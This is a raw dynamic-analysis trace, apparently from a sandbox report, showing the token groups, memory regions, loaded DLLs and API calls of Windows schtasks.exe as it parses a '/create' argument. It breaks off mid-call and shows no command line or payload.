"Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f52a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3670 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3671 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3672 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 3673 start_va = 0xc0000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 3674 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3675 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3676 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3677 start_va = 0xffd40000 end_va = 0xffd87fff monitored = 1 entry_point = 0xffd6966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 3678 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3679 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 3680 start_va = 0x7fffffda000 end_va = 0x7fffffdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 3681 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 3682 start_va = 0x140000 end_va = 0x27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 3683 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3684 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3685 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3686 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3687 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3688 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3689 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3690 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3691 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3692 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 3693 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 3694 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 3695 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3696 start_va = 0x7fefeb70000 end_va = 0x7fefec46fff monitored = 0 entry_point = 0x7fefeb73274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 3697 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 3698 start_va = 0x7fefa290000 end_va = 0x7fefa299fff monitored = 0 entry_point = 0x7fefa29260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 3699 start_va = 0x280000 end_va = 0x3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 3700 start_va = 0x280000 end_va = 0x37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 3701 start_va = 0x3b0000 end_va = 0x3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 3702 start_va = 0x140000 end_va = 0x168fff monitored = 0 entry_point = 0x141010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3703 start_va = 0x180000 end_va = 0x27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 3704 start_va = 0x3c0000 end_va = 0x547fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003c0000" filename = "" Region: id = 3705 start_va = 0x140000 end_va = 0x168fff monitored = 0 entry_point = 0x141010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3706 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3707 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 3708 start_va = 0x550000 end_va = 0x6d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000550000" filename = "" Region: id = 3709 start_va = 0x6e0000 end_va = 0x1adffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 3710 start_va = 0x140000 end_va = 0x151fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 3713 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 3714 start_va = 0x160000 end_va = 0x160fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 3715 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 3716 start_va = 0x1ae0000 end_va = 0x1daefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3721 start_va = 0x1db0000 end_va = 0x1e2cfff monitored = 0 entry_point = 0x1dbcec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3722 start_va = 0x1db0000 end_va = 0x1e2cfff monitored = 0 entry_point = 0x1dbcec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3723 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 3724 start_va = 0x7fefb5c0000 end_va = 0x7fefb615fff monitored = 0 entry_point = 0x7fefb5cbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 3725 start_va = 0x1db0000 end_va = 0x1f0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001db0000" filename = "" Region: id = 3726 start_va = 0x1db0000 end_va = 0x1e8efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001db0000" filename = "" Region: id = 3727 start_va = 0x1e90000 end_va = 0x1f0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e90000" filename = "" Region: id = 3728 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3729 start_va = 0x2020000 end_va = 0x209ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002020000" filename = "" Region: id = 3730 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 3731 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 3732 start_va = 0x170000 end_va = 0x170fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000170000" filename = "" Region: id = 3733 start_va = 0x7fefef50000 end_va = 0x7fefefe8fff monitored = 0 entry_point = 0x7fefef51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 3734 start_va = 0x380000 end_va = 0x380fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 3735 start_va = 0x7fefa9d0000 end_va = 0x7fefaaf6fff monitored = 0 entry_point = 0x7fefa9d10ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 3747 start_va = 0x7fefcb30000 end_va = 0x7fefcb54fff monitored = 0 entry_point = 0x7fefcb39658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 3750 start_va = 0x7fefb150000 end_va = 0x7fefb184fff monitored = 0 entry_point = 0x7fefb151064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 180 os_tid = 0xc6c [0152.090] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x13f740 | out: lpSystemTimeAsFileTime=0x13f740*(dwLowDateTime=0x276a8ae0, dwHighDateTime=0x1d8a92a)) [0152.090] GetCurrentProcessId () returned 0xc94 [0152.090] GetCurrentThreadId () returned 0xc6c [0152.090] GetTickCount () returned 0x138a6fe [0152.090] RtlQueryPerformanceCounter (in: lpPerformanceCount=0x13f748 | out: lpPerformanceCount=0x13f748*=2063095374530) returned 1 [0152.091] GetModuleHandleW (lpModuleName=0x0) returned 0xffd40000 [0152.091] __set_app_type (_Type=0x1) [0152.091] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffd6972c) returned 0x0 [0152.091] __wgetmainargs (in: _Argc=0xffd81240, _Argv=0xffd81250, _Env=0xffd81248, _DoWildCard=0, _StartInfo=0xffd8125c | out: _Argc=0xffd81240, _Argv=0xffd81250, _Env=0xffd81248) returned 0 [0152.092] _onexit (_Func=0xffd72ab0) returned 0xffd72ab0 [0152.092] _onexit (_Func=0xffd72ac4) returned 0xffd72ac4 [0152.092] _onexit (_Func=0xffd72afc) returned 0xffd72afc [0152.092] _onexit (_Func=0xffd72b58) returned 0xffd72b58 [0152.097] _onexit (_Func=0xffd72b80) returned 0xffd72b80 [0152.097] _onexit (_Func=0xffd72ba8) returned 0xffd72ba8 [0152.098] _onexit (_Func=0xffd72bd0) returned 0xffd72bd0 [0152.098] _onexit (_Func=0xffd72bf8) returned 0xffd72bf8 [0152.098] _onexit (_Func=0xffd72c20) returned 0xffd72c20 [0152.098] _onexit (_Func=0xffd72c48) returned 0xffd72c48 [0152.098] _onexit (_Func=0xffd72c70) returned 0xffd72c70 [0152.098] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0152.098] WinSqmIsOptedIn () returned 0x0 [0152.099] GetProcessHeap () returned 0x180000 [0152.099] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x18) returned 0x19b990 [0152.099] SetLastError (dwErrCode=0x0) [0152.099] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0152.099] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0152.099] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0152.100] VerifyVersionInfoW (in: lpVersionInformation=0x13ef00, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x13ef00) returned 1 [0152.100] GetProcessHeap () returned 0x180000 [0152.100] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x18) returned 0x19b9b0 [0152.100] lstrlenW (lpString="") returned 0 [0152.100] GetProcessHeap () returned 0x180000 [0152.100] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x2) returned 0x19b9d0 [0152.100] GetProcessHeap () returned 0x180000 [0152.100] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x20) returned 0x195930 [0152.100] GetProcessHeap () returned 0x180000 [0152.100] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x18) returned 0x19b9f0 [0152.100] GetProcessHeap () returned 0x180000 [0152.100] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x20) returned 0x195960 [0152.100] GetProcessHeap () returned 0x180000 [0152.100] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x20) returned 0x195990 [0152.100] GetProcessHeap () returned 0x180000 [0152.100] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x20) returned 0x1959c0 [0152.100] GetProcessHeap () returned 0x180000 [0152.100] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x20) returned 0x1959f0 [0152.100] GetProcessHeap () returned 0x180000 [0152.100] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x18) returned 0x19ba10 [0152.100] GetProcessHeap () returned 0x180000 [0152.100] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x20) returned 0x195a20 [0152.100] GetProcessHeap () returned 0x180000 [0152.100] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x20) returned 0x195a50 [0152.100] GetProcessHeap () returned 0x180000 [0152.100] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x20) returned 0x195a80 [0152.100] GetProcessHeap () returned 0x180000 [0152.100] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x20) returned 0x195ab0 [0152.100] GetProcessHeap () returned 0x180000 [0152.100] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x18) returned 0x19ba30 [0152.100] GetProcessHeap () returned 0x180000 [0152.100] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x20) returned 0x195ae0 [0152.100] GetProcessHeap () returned 0x180000 [0152.100] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x20) returned 0x195b10 [0152.100] GetProcessHeap () returned 0x180000 [0152.100] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x20) returned 0x195b40 [0152.101] GetProcessHeap () returned 0x180000 [0152.101] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x20) returned 0x195b70 [0152.101] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0152.101] SetLastError (dwErrCode=0x0) [0152.101] GetProcessHeap () returned 0x180000 [0152.101] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x20) returned 0x195ba0 [0152.101] GetProcessHeap () returned 0x180000 [0152.101] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x20) returned 0x195bd0 [0152.101] GetProcessHeap () returned 0x180000 [0152.101] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x20) returned 0x195c00 [0152.101] GetProcessHeap () returned 0x180000 [0152.101] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x20) returned 0x195c30 [0152.101] GetProcessHeap () returned 0x180000 [0152.101] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x20) returned 0x195c60 [0152.101] GetProcessHeap () returned 0x180000 [0152.101] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x18) returned 0x19ba50 [0152.101] _memicmp (_Buf1=0x19ba50, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.101] GetProcessHeap () returned 0x180000 [0152.101] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x208) returned 0x19bbf0 [0152.101] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x19bbf0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0152.101] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefbe30000 [0152.103] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefbe315fc [0152.103] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0152.105] GetProcessHeap () returned 0x180000 [0152.105] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x74e) returned 0x19c1a0 [0152.105] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoW") returned 0x7fefbe31614 [0152.105] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x19c1a0 | out: lpData=0x19c1a0) returned 1 [0152.105] GetProcAddress (hModule=0x7fefbe30000, lpProcName="VerQueryValueW") returned 0x7fefbe315e0 [0152.105] VerQueryValueW (in: pBlock=0x19c1a0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x13efe8, puLen=0x13f050 | out: lplpBuffer=0x13efe8*=0x19c53c, puLen=0x13f050) returned 1 [0152.108] _memicmp (_Buf1=0x19ba50, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.109] _vsnwprintf (in: _Buffer=0x19bbf0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x13efc8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0152.109] VerQueryValueW (in: pBlock=0x19c1a0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x13f058, puLen=0x13f048 | out: lplpBuffer=0x13f058*=0x19c368, puLen=0x13f048) returned 1 [0152.109] lstrlenW (lpString="schtasks.exe") returned 12 [0152.109] lstrlenW (lpString="schtasks.exe") returned 12 [0152.109] lstrlenW (lpString=".EXE") returned 4 [0152.109] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0152.110] lstrlenW (lpString="schtasks.exe") returned 12 [0152.110] lstrlenW (lpString=".EXE") returned 4 [0152.110] _memicmp (_Buf1=0x19ba50, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.110] lstrlenW (lpString="schtasks") returned 8 [0152.110] GetProcessHeap () returned 0x180000 [0152.111] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x20) returned 0x195d50 [0152.111] GetProcessHeap () returned 0x180000 [0152.111] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x20) returned 0x19cab0 [0152.111] GetProcessHeap () returned 0x180000 [0152.111] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x20) returned 0x19cae0 [0152.111] GetProcessHeap () returned 0x180000 [0152.111] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x20) returned 0x19cb10 [0152.111] GetProcessHeap () returned 0x180000 [0152.111] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x18) returned 0x19ba70 [0152.111] _memicmp (_Buf1=0x19ba70, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.111] GetProcessHeap () returned 0x180000 [0152.111] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0xa0) returned 0x19bff0 [0152.111] GetProcessHeap () returned 0x180000 [0152.111] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x20) returned 0x19cb40 [0152.111] GetProcessHeap () returned 0x180000 [0152.111] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x20) returned 0x19cb70 [0152.111] GetProcessHeap () returned 0x180000 [0152.111] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x20) returned 0x19cba0 [0152.111] GetProcessHeap () returned 0x180000 [0152.111] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x18) returned 0x19ba90 [0152.112] _memicmp (_Buf1=0x19ba90, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.112] GetProcessHeap () returned 0x180000 [0152.112] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x200) returned 0x19d280 [0152.112] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x19d280, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0152.112] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0152.112] GetProcessHeap () returned 0x180000 [0152.112] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x30) returned 0x197a50 [0152.112] _vsnwprintf (in: _Buffer=0x19bff0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x13efc8 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0152.112] GetProcessHeap () returned 0x180000 [0152.112] GetProcessHeap () returned 0x180000 [0152.112] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x19c1a0) returned 1 [0152.112] GetProcessHeap () returned 0x180000 [0152.112] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x19c1a0) returned 0x74e [0152.113] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19c1a0 | out: hHeap=0x180000) returned 1 [0152.113] SetLastError (dwErrCode=0x0) [0152.113] GetThreadLocale () returned 0x409 [0152.113] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0152.113] lstrlenW (lpString="?") returned 1 [0152.114] GetThreadLocale () returned 0x409 [0152.114] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0152.114] lstrlenW (lpString="create") returned 6 [0152.114] GetThreadLocale () returned 0x409 [0152.114] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0152.114] lstrlenW (lpString="delete") returned 6 [0152.114] GetThreadLocale () returned 0x409 [0152.114] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0152.114] lstrlenW (lpString="query") returned 5 [0152.114] GetThreadLocale () returned 0x409 [0152.114] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0152.114] lstrlenW (lpString="change") returned 6 [0152.114] GetThreadLocale () returned 0x409 [0152.114] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0152.114] lstrlenW (lpString="run") returned 3 [0152.114] GetThreadLocale () returned 0x409 [0152.114] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0152.114] lstrlenW (lpString="end") returned 3 [0152.114] GetThreadLocale () returned 0x409 [0152.114] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0152.114] lstrlenW (lpString="showsid") returned 7 [0152.114] GetThreadLocale () returned 0x409 [0152.114] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0152.114] SetLastError (dwErrCode=0x0) [0152.114] SetLastError (dwErrCode=0x0) [0152.114] lstrlenW (lpString="/create") returned 7 [0152.114] lstrlenW (lpString="-/") returned 2 [0152.114] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0152.114] lstrlenW (lpString="?") returned 1 [0152.115] lstrlenW (lpString="?") returned 1 [0152.115] GetProcessHeap () returned 0x180000 [0152.115] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x18) returned 0x19c1a0 [0152.115] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.115] GetProcessHeap () returned 0x180000 [0152.115] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0xa) returned 0x19c1c0 [0152.115] lstrlenW (lpString="create") returned 6 [0152.115] GetProcessHeap () returned 0x180000 [0152.115] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x18) returned 0x19c1e0 [0152.115] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.115] GetProcessHeap () returned 0x180000 [0152.115] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x14) returned 0x19c200 [0152.115] _vsnwprintf (in: _Buffer=0x19c1c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|?|") returned 3 [0152.115] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|create|") returned 8 [0152.115] lstrlenW (lpString="|?|") returned 3 [0152.115] lstrlenW (lpString="|create|") returned 8 [0152.115] SetLastError (dwErrCode=0x490) [0152.115] lstrlenW (lpString="create") returned 6 [0152.115] lstrlenW (lpString="create") returned 6 [0152.115] _memicmp (_Buf1=0x19c1a0, 